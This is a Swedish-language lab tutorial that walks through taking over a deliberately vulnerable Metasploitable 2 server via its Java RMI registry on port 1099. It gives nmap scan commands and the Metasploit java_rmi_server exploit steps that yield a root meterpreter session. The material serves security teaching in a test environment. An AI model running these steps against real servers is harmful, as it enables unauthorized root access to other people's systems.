Sec24 – RMI Registration Server
Av: Oscar Andersson, Sec24, 2013-09-15
OBS: Följande guider är enbart för utbildningssyfte och får absolut inte användas för olagliga ändamål.
I den här sektionen kommer vi att gå igenom olika sätt att ta över en Linuxserver. Du kommer behöva Metasploitable 2 och Backtrack eller Kali. Du hittar mer info om dessa i sektionen Sätta upp en testmiljö.
Bakgrund: RMI-protokollet använder sig av två andra protokoll för sitt on-the-wire format: Java Object Serialization och HTTP. Object Serialization-protokollet används för att marshalla anrop och returnera data. HTTP-protokollet används för att “POST”:a en Remote Method Invocation, RMI, och skaffa returdata när omständigheterna så kräver. Varje protokoll dokumenteras separat. Icketerminala symboler i produktionsreglerna kan hänvisa till bestämmelser som regleras av ett annat protokoll (antingen Object Serialization eller HTTP). När ett protokolls gräns passeras använder efterföljande produktioner det inbäddade protokollet.
Vi börjar med att logga in på Metasploitable 2 och tar fram vilken IP maskinen använder. Användarnamn och lösenord är msfadmin.
Detta görs genom kommandot ifconfig.
Starta nu upp Kali och öppna en ny terminal.
Skriv följande kommando för att leta efter öppna portar:
nmap -p 1-65535 -T4 -A -v 192.168.1.125 2>&1 | tee /var/tmp/scan.txt
Följt av:
cd /var/tmp
grep -i rmi scan.txt
I den här guiden är det rmiregistry på port 1099 som vi ska titta närmare på. Starta nu upp Metasploit Console med hjälp av kommandot: msfconsole och använd sedan sökfunktionen för att hitta ett lämpligt exploit, search java_rmi.
Kör sedan use exploit/multi/misc/java_rmi_server
Följt av:
show options
set RHOST 192.168.1.125
show options
Vi kör sedan kommandot exploit och om allt går vägen borde nu en meterpreter session öppnas mellan Kali och Metasploitable.
För att se vilka kommandon som kan användas för den här sårbarheten kör vi kommandot help.
För att få fram lite mer information om servern kör vi kommandona getuid och sysinfo. Vi ser här att vi har root-åtkomst.